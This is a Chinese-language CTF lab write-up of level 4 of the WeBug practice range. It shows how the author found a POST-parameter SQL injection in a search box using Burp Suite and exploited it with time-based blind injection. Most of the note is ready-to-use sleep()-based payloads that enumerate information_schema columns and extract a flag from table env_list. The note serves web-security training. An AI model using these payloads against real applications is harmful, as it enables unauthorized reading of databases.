04POST注入

笔记本：	WeBug靶场做题记录		
创建时间：	2023-01-15 23:18	**更新时间：**	2023-01-16 0:04
作者：	陈熙		
标签：	sql注入(ctf), web安全		
URL：	https://blog.csdn.net/qq_44108455/article/details/106127084		

打开后网页只有上方搜索框能接受输入，随意输入数据提交，在BP中拦截请求：

注意看返回内容长度
然后开始测试POST数据
测试到order by 3时出现报错信息：

然后尝试union select
但返回内容长度不变，说明无返回信息
那么通过构造keyWordName=1' or if(length(database())>1,sleep(1),0)#来获取数据，后续和延时注入一样的操作
关键步骤语句如下：
#判断表env_list的列数
```
or if((select count(column_name) from information_schema.columns where table_name='env_list')>1,sleep(1),0) #
```

#判断表env_list第一列的长度
```
or if(mid((select count(column_name) from information_schema.columns where table_name='env_list' limit 0,1),1,1)>1,sleep(1),0) #
```

#判断表env_list第一列的列名
```
or if(mid((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1,1)>'n',sleep(1),0) #
```

#读取表env_list第6列envflag，在id=4时的内容（因为是第4关）
```
or if(mid((select envflag from env_list where id=4),1,1)>'n',sleep(1),0) #
```

参考：
1、webug--post注入
https://blog.csdn.net/qq_44108455/article/details/106127084